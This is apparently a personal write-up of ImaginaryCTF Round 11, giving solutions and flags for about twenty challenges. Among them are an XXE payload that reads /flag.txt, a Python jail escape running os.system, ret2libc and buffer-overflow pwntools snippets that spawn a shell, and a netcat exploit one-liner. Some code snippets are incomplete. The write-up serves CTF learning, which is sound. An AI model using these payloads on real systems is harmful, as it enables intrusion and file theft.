# ImaginaryCTF Round 11 Writeup

June 30th 2021

An entire month of challenges, you won't believe what happened on day 24!!?!

# Imaginary CTF Round 11 writeups

## Sanity check

... it's ictf{Round_11_Sanity_Check}

## Spider

https://spider.031337.xyz

We get redirected to /0 immediatly. Look at the response headers, There's x-flag with a single character. Just go from 0 to 23 and take note of all the characters

from time import sleep
from requests import get
"".join([get(f"https://spider.031337.xyz/{i}").headers["X-Flag"] for i in range(24) if not sleep(1)])


and you get the flag ictf{f0ll0w_th3_numb3rs}

## Find me

you grep, that's it grep -ao "ictf{.*}" find_me.txt and you get the flag ictf{gr3p_0r_4ny_t3xt_3d1t0r...Fl4g_f0rm4t_m4tt3rs}

## filling-blanks

You need to send the correct numbers, to do so you need to get the correct numbers, for this a template is provided and you just have to fill in the empty spots. To get the correct values for the blanks you just need to open the predict binary in {insert favourite decompilation tool}.

The first blanks is clearly libc (Since we want the function there to be called)

We see the seed is the time divided by 10, so we fill the second blank with time

The third blank is a red herring and doesn't need to be filled, or rather it needs to be left empty (Probably was intended that one should write what is there into a function and call that, but idk), same goes for the fourth blank

(One also needs to change to execute on the remote)

Gives us the flag ictf{exp3r1menting_w1th_ch@lleng3_f0rmat$_f0r_$c1ence}

## Uncrashable

You just enter enough data such that all the buffers are overflown (so above 500 bytes, didn't count though)

ictf{b0f?ju5+_@dd_m0r3_buff3r}

We get a script, first it generates a random character, then it takes the first character of the flag encrypts that with the random character, takes the next two characters, encrypts those with the random character and the encrypted first character, ... taking 2**i characters every round. We then get everything except the random value. But since that was only in the range of 0-255, we can just bruteforce that. Or we could be smart and just take the difference of i and the first byte, since we know the first character of the flag

with open("output.txt", "r") as f:
d = bytes.fromhex(d)
key = [d[0]-ord('i')]
x = b""
l = 1
while d:
x += bytes([(a-b)%256 for a, b in zip(d[:l], key)])
key += d[:l]
d = d[l:]
l *= 2
print(x)


which gives us the flag ictf{4dd1ng_4nd_casc4d1ng_and_adding_4nd_c4scad1ng}

## Word

Unzip the word file (Yes unzip, it's just a zip), find the flag.txt file and get the flag ictf{4ll_0ff1c3_F1l3s_4r3_Z1p5}

## Mission Impossible

This is a binary which will destruct itself when executed (Just remove write access to itself from the user running it I guess). But yeah, the goal is to not run the binary, so open it in some decompiler or disassembler and search....

Remember this cool command for later: objdump -M intel -d $1 | egrep "mov\s+.{2,3},0x\S\S$" | cut -f2 -d, | xxd -r -p | grep -o "ictf{.*}"

It will read all the mov into register which then get printed and greps the flag out of that, we get ictf{n3v3r_run_@_bin@ry_y0u_d0nt_+ru5t!}

## A really cool button

https://button.max49.repl.co/

You click the button, and you get redirected. If you have opened the network devtools and persist the logs there you see, that there were in fact two redirections in a row. Just look at the html after the first redirect (Alternatively use curl curl -X post https://button.max49.repl.co/noflag.htm)

ictf{f1ag_1n_th3_c0mm3nts!}

(Note that the whole zero width space stuff was a red herring, but you can use the javascript code of a past CTF to find what it says...)

## small enough

we see that N1 and N2 share a factor (ps[2], or gcd(N1, N2) or just p), then we see that c1%p==c2%p. That means we can just calculate d=pow(e,-1,p-1) and do RSA decryption by doing pow(c1,d,p) to get the flag.

ictf{sometimes_a_prime_is_all_you_really_need}

## Winnie

Oh god a windows executable, I wonder if there's a neat onliner to solve this. Yeah you guessed right, you can solve this with the same onliner as you could use for Mission Impossible. ictf{s1lly_0ld_bear}.

Alternatively you can search for the main function and see that it prints the flag in characters after getting the correct argument.

## Tax Evasion

A classic python jail, but everytime we execute some import or open a file (or any action which gets audited and is not exec/compile nor from input()), we call exit(0). Well, we can just overwrite exit by doing exit=lambda x: x and then we can do whatever we want import os and then just cat the flag (or run sh if you like that more) os.system("cat flag.txt") to get ictf{i11_t@x_th3_stre3t_t@x_y0ur_s3@t_t@x_th3_he@t_+ax_y0ur_f33t}

## Kevin

We see the three heads which are called (2,1,3) with corresponding secrets or where to find them. There's also the hint that the dimensions might be off, so we use https://github.com/ryanking13/png-unhide to get the full image and the link https://chl.li/kevin5 next to a 4. Together with the shares inside the metadata and after the actual image data (Extradata) and the one hidden in the LSB we have five shares and just need to find the coordinate for each of the five. Now use some online shamir solver or some lagrange polynomial interpolation solver (Or use the manual hard way like me and implement lagrange yourself).

gets us the flag ictf{gh1dr@h} (You had to wrap it yourself)

## Keycode

The program xors your input with the program code and checks if it's a fixed value, so just take the program code and xor it with the value to get the flag ictf{wh@t_g00d_i5_@_10ck_!f_th3_l0ck_!s_th3_k3y?}

## eyes-on-stack

Well, we just have to call a function with some parameters, that's doable...

io = start()

payload = cyclic(52) # buffer overflow

io.interactive()


get flag ictf{y0ur_ord3r_of_3_@rgs_15_c0ming_r1ght_up}

## Textbook RSA 2: Timmy the Lonely Oracle

Get the encrypted flag, send that squared, get the flag squared and just take the square root. ictf{y0u_m@d3_+!mmy_cry_y0u_3v!1_h@ck3r}

## xmlvis

This challenge revolved around xml, don't be confused by the -no-ent flag, because that means to enable entities, so we'll just use those

wget -O - --post-data='<!DOCTYPE b[<!ELEMENT b ANY><!ENTITY a SYSTEM "/flag.txt">]><b>&a;</b>' https://xmlvis.031337.xyz

Since the website just renders the xml and entities are enabled, we can just make a SYSTEM entity and read any file with that.

ictf{ext3rn4l_3nt1ties_n1c3ly_f0rm4tt3d}

## ret2libc

Same binary as for "Eyes on the Stack" but this time we need a shell, so I just call gets and read to bss and then call system with that in the bss as argument, then send sh to exec that (I could also directly read the flag if I knew where it was before)

io = start()
payload += p32(exe.plt["system"])   # call system(bss)
payload += p32(exe.bss())           # arg for gets
payload += p32(exe.bss())           # arg for system
io.recvuntil("flag!\n")             # wait for input
io.sendline(b"sh\0")    # start sh --> system(gets()) --> system("sh")
io.sendline(b"ls")      # first command for sh
io.interactive()


## Do Some Arithmetic

We get a complex file with a lot of big numbers and weird math. We see that our flag is signed by getting a random number, raising g2 to that and doing modulo q. Then taking that result as an exponent to g modulo p and then modulo q. Then both the previous results get used in the formula to calculate the signature.

Luckily for us the multiplicative order of g2 modulo q is only 10794, so we can easily bruteforce the value of k. After filling an array ks with all values of g2^i and hm to be the hash of the predefined text, we can just brute force the flag like this:

for i in ks:
r = int(pow(int(g),int(i),p))%q
x = int((s*int(i)-mh)*pow(r,-1,q))
y = unhex(hex(x)[2:])
if b'ictf' in y:
print(i)
print(y)


to get the flag ictf{unsafe_nonces_strike_again}

## Frozen exploit

This time we need to exploit a program written in ICICLe. There are two new instructions, one puts the flag into memory, the other gets a random value which is used as a stack canary. Since there was this stack canary I immediatly thought of a stack exploit. The input is put onto the stack reversed and xored with a key which increases as you go along the string. The amount of spots on the stack is 40 and then the canary and then the return address. First I needed to determine the values I need to write before doing anything. So the canary was first, luckily the seed for the random was in the interpreter, so we can easily find the 23 required. Then we need the index of the flag printing statement, this is also easily done by modifying the interpreter slightly and checking if the current line is equal to the flag printing one and then print the length of the instruction array, so we get x0x8b, now to put all into the exploit, we need to xor the values by their position in the string (40 and 41 respectively) and then reverse that. As key we just use 0, so we can use the 40 and 41 without adding anything: python -c 'print(chr(139^41)+chr(23^40)+"b"*40+"\n0")' | nc 20.51.215.194 7331

And with that we get our final flag: ictf{an_1C3_c0ld_buff3r_0v3rfl0w}

## P.S.

I was told there was also the flag ictf{my_gift_to_you_is_this_:_an_easy_chall}, but that would be for a really easy challenge, don't see any of those unsolved in this writeup....

< How2BufferFlow | ImaginaryCTF Round 12 Writeup >